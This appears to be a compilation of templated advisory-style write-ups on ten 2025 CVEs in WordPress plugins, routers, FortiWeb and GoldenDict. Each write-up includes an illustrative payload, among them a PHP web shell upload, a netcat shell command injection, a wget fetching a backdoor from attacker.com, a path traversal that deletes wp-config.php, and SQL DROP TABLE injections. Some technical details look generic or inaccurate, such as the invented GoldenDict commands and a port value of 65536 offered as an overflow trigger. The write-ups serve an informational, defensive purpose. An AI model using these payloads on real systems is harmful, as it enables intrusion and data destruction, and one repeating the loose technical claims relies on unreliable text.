Author: Ameeba

Overview

CVE-2025-6185 is a potent vulnerability identified in Leviton’s AcquiSuite and Energy Monitoring Hub. These products are widely used in the energy sector to monitor and manage energy usage. The vulnerability, a form of cross-site scripting (XSS), allows a malicious actor to manipulate URL parameters to execute harmful scripts in a user’s browser. This may lead to system compromise or data leakage, emphasizing the severity and potential impacts of this vulnerability.

Vulnerability Summary

CVE ID: CVE-2025-6185
Severity: Critical (9.3 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Leviton AcquiSuite | All versions prior to patch
Leviton Energy Monitoring Hub | All versions prior to patch

How the Exploit Works

The vulnerability resides in the handling of URL parameters within Leviton’s products. An attacker can craft a URL containing a malicious payload, which is then executed when the URL is accessed by a user. This could potentially lead to the execution of arbitrary code within the user’s browser, resulting in session token theft and unauthorized control over the service.

Conceptual Example Code

Below is a conceptual example of a crafted URL containing the malicious payload:

GET /resource?id=12345<script>malicious_code_here</script> HTTP/1.1
Host: vulnerable.leviton.com

In the example above, “malicious_code_here” represents the attacker’s code, which may be designed to steal session tokens or perform other malicious activities when the URL is accessed by a user.

Mitigation and Next Steps

The official mitigation for this vulnerability is to apply the vendor-provided patch. Users of the affected Leviton products should immediately update their systems to the latest patched versions. If for any reason the patch cannot be immediately applied, temporary mitigation can be achieved using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.
It’s crucial to remember that this is a temporary solution and does not replace the need for applying the official patch. Regularly updating and patching systems is a fundamental aspect of maintaining a robust cybersecurity posture.

Overview

In the expanding landscape of cybersecurity, a new vulnerability has been discovered that has a potentially devastating impact on websites built on the WordPress platform. Specifically, this vulnerability, identified as CVE-2025-7712, affects the Madara – Core plugin for WordPress. This plugin is widely used in WordPress environments, making the scope of this vulnerability concerning. The significance of this vulnerability lies in its potential to compromise system data and potentially lead to unauthorized remote code execution.

Vulnerability Summary

CVE ID: CVE-2025-7712
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Arbitrary File Deletion, Potential System Compromise, and Data Leakage

Affected Products

Product | Affected Versions

Madara – Core WordPress Plugin |

How the Exploit Works

This vulnerability stems from insufficient file path validation in the wp_manga_delete_zip() function of the Madara – Core plugin. When an unauthenticated attacker sends a carefully crafted request, they can manipulate the function to delete arbitrary files on the server. The deletion of certain files, such as wp-config.php, could lead to remote code execution. This exploit does not require any user interaction or special privileges, making it especially dangerous.

Conceptual Example Code

The following pseudocode demonstrates a conceptual example of how the vulnerability might be exploited. This involves sending a malicious payload to the vulnerable endpoint:

POST /wp_manga_delete_zip HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "file_path": "../wp-config.php" }

In the above example, the ‘file_path’ in the JSON payload is manipulated to point to the wp-config.php file. The wp_manga_delete_zip() function processes this request and deletes the wp-config.php file, potentially leading to remote code execution.

Mitigation and Prevention

The most practical mitigation option for this vulnerability is to apply the vendor’s patch. As of now, the Madara – Core plugin’s developers have released an updated version of the plugin that addresses this issue. If this is not possible, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation strategy by blocking or alerting on attempts to exploit this vulnerability. As always, it’s recommended to keep all software and plugins updated to the latest versions to prevent the exploitation of known vulnerabilities.

Overview

The cybersecurity world is abuzz with the recent discovery of a severe vulnerability, CVE-2025-48300, that affects the popular plugin Groundhogg, deployed by numerous businesses globally for their marketing automation needs. This vulnerability, characterized by unrestrained upload of files with dangerous types, is critical as it enables a malicious actor to upload a web shell to a web server, thereby putting the system at potential risk of compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-48300
Severity: Critical (CVSS score 9.1)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Groundhogg | n/a through 4.2.1

How the Exploit Works

The exploit leverages the unrestricted file upload vulnerability in Groundhogg. Here, an attacker can upload a file with a dangerous type, such as a web shell, to the web server. This file can then execute arbitrary commands on behalf of the attacker, giving them control over the system. This vulnerability is extremely dangerous as it can lead to complete system compromise, including unauthorized access to sensitive data.

Conceptual Example Code

Here’s a simplified, conceptual example of how the vulnerability might be exploited. This example shows a malicious HTTP POST request where an attacker uploads a web shell to the server:

POST /upload/endpoint HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

In this example, the attacker is uploading a PHP web shell (shell.php) to the server. This web shell, once uploaded, can be accessed by the attacker to execute arbitrary commands on the server.

Mitigation and Prevention

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, businesses can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and prevent attempts to exploit this vulnerability. Regularly updating and patching systems, ensuring a robust security posture, and educating users on the dangers of clicking on unknown links or opening suspicious attachments can also help prevent exploitation of such vulnerabilities.

Overview

The cybersecurity community is facing a significant threat in the form of an SQL Injection vulnerability found in shinetheme Traveler. This vulnerability, known as CVE-2025-52714, is particularly dangerous due to its ability to compromise systems and potentially leak sensitive data. The vulnerability affects a wide range of users since shinetheme Traveler is a widely used theme. The gravity of this issue is underlined by a high CVSS severity score of 9.3, indicating a critical need for immediate action.

Vulnerability Summary

CVE ID: CVE-2025-52714
Severity: Critical (9.3 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Shinetheme Traveler | All versions up to latest

How the Exploit Works

The exploit leverages the improper neutralization of special elements in an SQL command within shinetheme Traveler. This leads to an SQL Injection vulnerability. An attacker can inject malicious SQL commands into the application, which are then executed by the database. This can result in unauthorized access to data, data manipulation, or even system compromise.

Conceptual Example Code

Here’s an illustrative example of how an attacker might exploit this vulnerability using a malicious HTTP request:

POST /traveler/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/sql
{ "user_input": "admin'; DROP TABLE users;--" }

In this example, the attacker sends a malicious SQL command that, if not properly sanitized, would delete the “users” table from the database.

Mitigation

For mitigation, it is recommended to apply the vendor patch once it is available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. It is also good practice to validate and sanitize all user inputs to prevent SQL Injection attacks.
Remember, ensuring cybersecurity is an ongoing effort that requires maintaining up-to-date systems and regularly monitoring for vulnerabilities. The discovery of CVE-2025-52714 serves as a reminder of the importance of these measures.

Overview

The CVE-2025-53964 is a major security vulnerability discovered in GoldenDict versions 1.5.0 and 1.5.1. This vulnerability revolves around an exposed dangerous method that could potentially allow unauthorized access to read and modify files when a user adds a maliciously crafted dictionary and performs a search for any term within that dictionary. This exploit can lead to severe consequences like system compromise or data leakage. Given the severity and the potential impact of this vulnerability, it is critical for system and network administrators to understand the nuances and take appropriate measures to mitigate the risks.

Vulnerability Summary

CVE ID: CVE-2025-53964
Severity: Critical (9.6 CVSS Severity Score)
Attack Vector: Local file inclusion (LFI)
Privileges Required: User level
User Interaction: Required
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

GoldenDict | 1.5.0, 1.5.1

How the Exploit Works

The exploit leverages an exposed method within GoldenDict that allows for the reading and modifying of files. The attacker crafts a dictionary with malicious content and induces a user to add this dictionary to their GoldenDict application. When the user searches for any term within this crafted dictionary, the exposed method is exploited, enabling the attacker to read and modify files on the system.

Conceptual Example Code

A hypothetical example of how this vulnerability could be exploited is illustrated below. It’s a shell command that demonstrates the addition of a malicious dictionary and a subsequent search:

# Adding the maliciously crafted dictionary
$ goldendict --add-dictionary /path/to/malicious_dictionary.dz
# Searching for a term within the crafted dictionary
$ goldendict --search "malicious_term"

The above commands are purely conceptual and serve to illustrate the point. In an actual attack scenario, the malicious dictionary could contain code that exploits the exposed method to manipulate files on the user’s system.

Mitigation

To mitigate the risks associated with CVE-2025-53964, users are advised to apply the vendor patch as soon as it becomes available. In the interim, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation strategies. Regular monitoring of system logs and network traffic can also help in early detection of any potential exploitation attempts.

Overview

A new vulnerability has been uncovered in the nbcio-boot platform, specifically in version 1.0.3. This vulnerability, designated as CVE-2025-50240, exposes systems to potential SQL Injection attacks via the userIds parameter at the /sys/user/deleteRecycleBin endpoint. SQL Injection is a code injection technique used to attack data-driven applications and can potentially lead to significant data breaches or complete system compromise.
This vulnerability is especially critical because it affects a prevalent software platform and exhibits a high severity score. It is crucial for system administrators, cybersecurity professionals, and all users of nbcio-boot v1.0.3 to understand this vulnerability, its potential impact, and the necessary steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-50240
Severity: Critical (9.8 CVSS v3.1 Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

nbcio-boot | v1.0.3

How the Exploit Works

The vulnerability allows malicious actors to inject SQL queries into the userIds parameter at the /sys/user/deleteRecycleBin endpoint. The application does not properly sanitize the input, thus allowing an attacker to manipulate SQL queries and access, modify, or delete database contents. A successful exploit can lead to unauthorized access to sensitive data, data corruption, or even total system compromise.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited, using a malicious SQL statement in an HTTP request:

POST /sys/user/deleteRecycleBin HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "userIds": "1 OR 1=1; DROP TABLE users;" }

In this example, the malicious SQL statement `1 OR 1=1; DROP TABLE users;` will result in deleting the users table from the database, if the SQL injection is successful.

Mitigation and Prevention

The best mitigation for this vulnerability is to apply the vendor’s patch as soon as it is available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. Additionally, it is recommended to follow best security practices such as input validation, parameterized queries, or using ORM frameworks to prevent SQL injection vulnerabilities.

Overview

In the ever-changing landscape of cyber threats, a new high severity vulnerability has been identified in Totolink A3300R V17.0.0cu.596_B20250515. This vulnerability, known as CVE-2025-52046, poses a significant risk to the vast number of users who depend on this router for their daily internet operations. This command injection vulnerability is especially alarming because it allows an unauthenticated attacker to execute arbitrary commands via a crafted request. The severity of this vulnerability underscores the importance of immediate action to mitigate the potential impact.

Vulnerability Summary

CVE ID: CVE-2025-52046
Severity: Critical (CVSS: 9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Totolink A3300R | V17.0.0cu.596_B20250515

How the Exploit Works

The vulnerability resides in the sub_4197C0 function of the Totolink A3300R firmware. The function fails to properly sanitize the user-supplied inputs via the ‘mac’ and ‘desc’ parameters. This inadequate input validation opens the door for an attacker to inject malicious commands. These commands are then executed with the privileges of the process running the server, leading to a full system compromise.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited, using a maliciously crafted HTTP request:

POST /sub_4197C0 HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
mac=;nc%20-l%20-p%208888%20-e%20/bin/sh;&desc=

In this example, the attacker sends a POST request with the ‘mac’ parameter containing a command that starts a netcat listener on the target system. This listener, once established, could be used for a variety of nefarious purposes including data exfiltration or further system compromise.

Possible Mitigations

To mitigate this vulnerability, it is advised to apply the vendor’s patch as soon as it becomes available. Until the patch is available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can help detect and block attempts to exploit this vulnerability. Regularly updating your system and maintaining a robust security posture are the best ways to stay protected against such threats.

Overview

We live in an era where cybersecurity threats are constantly evolving, with attackers exploiting new vulnerabilities every day. Among the threats that have sent shockwaves in the information security world in 2025 is an SQL injection vulnerability in Fortinet FortiWeb, identified as CVE-2025-25257. This vulnerability affects a wide range of FortiWeb versions, including 7.6.0 through 7.6.3, 7.4.0 through 7.4.7, 7.2.0 through 7.2.10, and all versions below 7.0.10. With a CVSS Severity Score of 9.8, this vulnerability is considered critical and poses a serious risk to businesses using the affected products. If exploited, it could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-25257
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Fortinet FortiWeb | 7.6.0 through 7.6.3
Fortinet FortiWeb | 7.4.0 through 7.4.7
Fortinet FortiWeb | 7.2.0 through 7.2.10
Fortinet FortiWeb | Below 7.0.10

How the Exploit Works

SQL Injection is a type of attack that manipulates SQL queries by inserting malicious inputs. This vulnerability in Fortinet FortiWeb allows an attacker to execute unauthorized SQL commands by crafting malicious HTTP or HTTPS requests. Since the system does not correctly neutralize special elements used in an SQL command, the attacker can manipulate the logic of SQL statements executed by the database.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. Remember, it is a hypothetical illustration, not a real exploit code:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
"user": "admin'; DROP TABLE users; --"
}

In this example, the attacker injects a payload that would delete the entire users table if executed by the database. The actual exploit would likely be more complex and specifically tailored to the target system.

Mitigation Guidance

Users of affected Fortinet FortiWeb versions are advised to apply the vendor patch as soon as possible. In the meantime, a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation against potential attacks. However, given the severity of this vulnerability, relying solely on these defensive measures is not recommended. Always make sure to keep your systems up-to-date with the latest patches and security updates.

Overview

In the ever-evolving field of cybersecurity, it’s crucial to stay one step ahead of potential threats. One such recent discovery is a high-severity vulnerability that resides in the TOTOLINK N350RT V9.3.5u.6139_B20201216. This vulnerability, designated as CVE-2025-51630, is a buffer overflow vulnerability that can lead to potential system compromise or data leakage. This vulnerability primarily affects users of the TOTOLINK N350RT V9.3.5u.6139_B20201216, a popular networking device, and poses a significant threat due to the high CVSS severity score of 9.8.

Vulnerability Summary

CVE ID: CVE-2025-51630
Severity: Critical (9.8/10)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

TOTOLINK N350RT | V9.3.5u.6139_B20201216

How the Exploit Works

This vulnerability arises from a buffer overflow in the ‘setIpPortFilterRules’ function via the ‘ePort’ parameter. A buffer overflow occurs when more data is written into a buffer than it can handle, causing an overwrite of adjacent memory areas. This could potentially lead to arbitrary code execution, system crash, or an information leak, depending upon the context and specifics of the overflow.

Conceptual Example Code

The following is a conceptual example of how this vulnerability may be exploited. It is a sample HTTP request that might trigger the buffer overflow:

POST /setIpPortFilterRules HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
ePort=65536&other_params...

In this example, the ‘ePort’ parameter is set to a value larger than the maximum allowed port number (65535). This excess data could potentially overflow the buffer and lead to unexpected behavior.

Mitigation

Users are advised to apply the vendor-supplied patch to mitigate the effects of this vulnerability. In case the patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can offer temporary protection by monitoring and blocking suspicious activities. Regularly updating your systems and keeping a vigilant eye on security advisories can also help in minimizing the risk of similar vulnerabilities.

Overview

In the rapidly evolving cyber landscape, the importance of maintaining updated and secure software cannot be overstated. One such vulnerability that requires immediate attention is the CVE-2025-5396, which affects the Bears Backup Plugin for WordPress. The vulnerability allows for Remote Code Execution (RCE), a severe security breach that can result in the compromise of an entire system. It affects all versions up to, and including, 2.0.0 of the plugin. Given the widespread usage of WordPress, this vulnerability poses a serious threat to numerous websites and their associated data.

Vulnerability Summary

CVE ID: CVE-2025-5396
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Remote Code Execution leading to potential system compromise or data leakage

Affected Products

Product | Affected Versions

Bears Backup Plugin for WordPress | Up to and including 2.0.0
Alone WordPress Theme | 7.8.4 and older

How the Exploit Works

The crux of the vulnerability lies in the absence of a capability check and validation of user-supplied input in the bbackup_ajax_handle() function. This lack of security measures allows unauthenticated attackers to pass malicious input directly to call_user_func(), leading to the execution of arbitrary code on the server. This vulnerability can be leveraged by attackers to inject backdoors or create new administrative user accounts, among other things. The CVE-2025-5394 vulnerability in the Alone WordPress theme can be chained with this vulnerability to install the Bears Backup plugin and achieve the same impact.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. Note that this is pseudocode and not actual code.

POST /wp-admin/admin-ajax.php?action=bbackup_ajax_handle HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
function=call_user_func&args[]=system&args[]=wget%20http://attacker.com/backdoor.php%20-O%20/var/www/html/backdoor.php

In this example, an HTTP POST request is made to the vulnerable endpoint. The ‘function’ parameter is used to call the ‘system’ function, which then fetches a malicious PHP file (backdoor.php) from the attacker’s server and writes it to the root directory of the target’s server.

Mitigation Guidance

To mitigate this vulnerability, it is highly recommended to apply the vendor patch as soon as it becomes available. In the meantime, Web Application Firewalls (WAF) or Intrusion Detection Systems (IDS) can be used for temporary mitigation. Regularly updating your software, enforcing strong user privileges, and practicing secure coding techniques can also help in managing such vulnerabilities.